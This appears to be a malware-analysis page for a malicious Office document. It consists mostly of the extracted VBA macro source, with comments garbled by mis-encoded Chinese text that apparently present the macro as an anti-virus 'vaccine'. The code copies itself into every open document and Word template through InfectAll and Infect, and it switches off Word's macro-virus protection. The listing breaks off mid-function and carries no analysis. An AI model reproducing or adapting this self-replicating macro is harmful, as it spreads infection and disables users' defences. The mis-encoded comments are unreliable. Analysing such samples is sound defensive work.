Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "JiShenhua"
'ÕâÊDZ¾ÈËѧϰÖÆ×÷µÄÒ»¸öºê²¡¶¾·Àɱ³ÌÐò,Ëü¿ÉÒÔ·ÀÖ¹²¿·ÖWORDºê²¡¶¾µÄ¸ÐȾ
'ÕâÐèÒªÓдóÁ¿µÄºê²¡¶¾ÌØÕ÷Âë×÷ΪÒÀ¾Ý,Èç¹ûÄã·¢ÏÖÓб¾ÒßÃçÎÞÄÜΪÁ¦µÄºê²¡¶¾
'¸ÐлÄú¼°Ê±ÓëÎÒÁªÏµ,ÄãÒ²¿ÉÒÔ×ÔÑ¡Ð޸ı¾³ÌÐò,ÒÔ¼ÓÇ¿±¾ÒßÃçµÄ¹¦Á¦
'Ó벡¶¾×÷¶·Õù¾ÍÈçͬµÖÓùÉç»á·¸×ï,ÐèÒª´ó¼ÒµÄ¹²Í¬Å¬Á¦
'»¶Ó­¼ÓÈëÆäÖв¢³ÉΪһÃûսʿ,Ò²ÐíÄãÕýÊÇ´ó¼ÒÆÚ´ýÒѾõÄÓÂÊ¿
'³ÌÐòÉè¼Æ: ¼½É÷»ª
'°ì¹«µç»°:
'ÒÁÃõØÖ·: club@263.net
Option Explicit '³ÌÐòÖеıäÁ¿±ØÐëÏȶ¨ÒåºóʹÓÃ
Public pVirusReport As String '²¡¶¾ÃèÊöÐÅÏ¢
Private Const cMyID As String = "MyMacroVirusKillerV2.0" '±¾³ÌÐò´úÂë±êÖ¾
Private Const cMyModule As String = "JiShenhua" '±¾³ÌÐòµÄÄ£¿éÃû³Æ
Private Const cMyUserForm As String = "VirusReport" '±¾³ÌÐòµÄÓû§´°¿ÚÃû³Æ
Private Const cOK As Integer = 0 'Ò»ÇÐÕý³£
Private Const cDocHasModuleElse As Integer = 1 'ÓÐÆäËûÄ£¿é´æÔÚ
Private Const cDocHasCodeElse As Integer = 2 'ÔÚThisDocumentÄ£¿éÖÐÓÐÆäËû´úÂë´æÔÚ
Private Const cDocHasAllElse As Integer = 3 'ÔÚThisDocumentÄ£¿éÖÐÓÐÆäËû´úÂë´æÔÚ£¬²¢ÓÐÆäËûÄ£¿é´æÔÚ
Private Const cDocProtected As Integer = 4 '¸ÃÎĵµ±»±£»¤
'´ÓÖ¸¶¨ÎļþÖÐÏòËùÓдò¿ªÎĵµ¼°Ä£°åÖи´ÖƱ¾³ÌÐò´úÂë¼°Ä£¿é
Public Function InfectAll() As Boolean
    Dim myDoc As Document, myTemp As Template
    'Ïò´ò¿ªµÄÎĵµÖÐдÈë±¾´úÂë
    For Each myDoc In Documents
        Infect myDoc
    Next myDoc
    'ÏòWORDÄ£°åÖÐдÈë±¾´úÂë
    For Each myTemp In Templates
        Infect myTemp
    Next myTemp
    InfectAll = True
End Function
'Çå³ýËùÓдò¿ªÎĵµ¼°Ä£°åÖеIJ¡¶¾Ä£¿é¼°´úÂë
Public Function ClearVirus() As Boolean
    Dim i As Integer
    Dim myDoc As Document, myTemp As Template
    Dim Cleared As Boolean

    ClearVirus = True
    '¼ì²éËùÓÐÎĵµ²¢Çå³ý
    For Each myDoc In Documents
        Cleared = ClearDocument(myDoc)
        If Not Cleared Then
            MsgBox "²¡¶¾Çå³ý¹¤×÷²»³É¹¦£¬Çë¼ì²éÔ­Òò¡£", vbOKOnly, myDoc.Name
            ClearVirus = False
        End If
    Next myDoc
    '¼ì²éËùÓÐÄ£°å²¢Çå³ý
    For Each myTemp In Templates
        Cleared = ClearDocument(myTemp)
        If Not Cleared Then
            MsgBox "²¡¶¾Çå³ý¹¤×÷²»³É¹¦£¬Çë¼ì²éÔ­Òò¡£", vbOKOnly, myTemp.Name
            ClearVirus = False
        End If
    Next myTemp
End Function
'¼ì²éËùÓдò¿ªµÄÎĵµ¼°Ä£°åÖÐÊÇ·ñÓв¡¶¾´æÔÚ£¬Èç¹ûÓУ¬·µ»Ø²¡¶¾ÐÅÏ¢ÃèÊö×Ö·û´®
Public Function ScanVirus() As Boolean
    Dim DocsCount As Integer, i As Integer, ret As Integer
    Dim myStr As String
    Dim myDoc As Document, myTemp As Template
    
    ScanVirus = False
    pVirusReport = ""
    '¼ì²éËùÓдò¿ªµÄÎĵµÖÐÊÇ·ñÓв¡¶¾
    For Each myDoc In Documents
        ret = ScanDocument(myDoc)
        Select Case ret
            Case cOK, cDocProtected
            Case cDocHasModuleElse, cDocHasCodeElse, cDocHasAllElse
                ScanVirus = True
            Case Else
                MsgBox "º¯ÊýScanDocument·µ»Ø´íÎó´úÂ룬ϵͳÎÞ·¨Ê¶±ð¡£", vbOKOnly, "ϵͳ³ö´í"
        End Select
    Next myDoc
    '¼ì²éËùÓÐÄ£°å
    For Each myTemp In Templates
        ret = ScanDocument(myTemp)
        Select Case ret
            Case cOK, cDocProtected
            Case cDocHasModuleElse, cDocHasCodeElse, cDocHasAllElse
                ScanVirus = True
            Case Else
                MsgBox "º¯ÊýScanDocument·µ»Ø´íÎó´úÂ룬ϵͳÎÞ·¨Ê¶±ð¡£", vbOKOnly, "ϵͳ³ö´í"
        End Select
    Next myTemp
End Function
'¹Ø±ÕWordºê²¡¶¾±£»¤¹¦ÄÜ
Public Function CloseVirusProtection(Optional Protected As Boolean = False)
    Options.VirusProtection = Protected
End Function
'°Ñ±¾³ÌÐò´úÂë´ÓÒ»¸öÎļþ¸´ÖƵ½ÁíÒ»¸öÎļþÖÐ
Private Function Infect(TargetFile) As Boolean
    Dim xItem, CommandStr As String, file As String
    Dim myDoc As Document, myTemp As Template
    Dim LinesofCode As Long, myStr As String
    
    '¼ì²é²ÎÊýÀàÐÍÊÇ·ñÕýÈ·
    myStr = TypeName(TargetFile)
    If myStr <> "Document" And myStr <> "Template" Then
        MsgBox "ʹÓÃÊý¾ÝÀàÐÍ" + myStr + "µ÷Óú¯ÊýInfect£¬ÏµÍ³Ö»ÔÊÐíʹÓÃDocument¼°TemplateÀàÐÍ¡£", vbOKOnly, "ϵͳ´íÎó"
        Infect = False
        Exit Function
    End If
    Infect = True
    If TargetFile.Name = ThisDocum
... (truncated)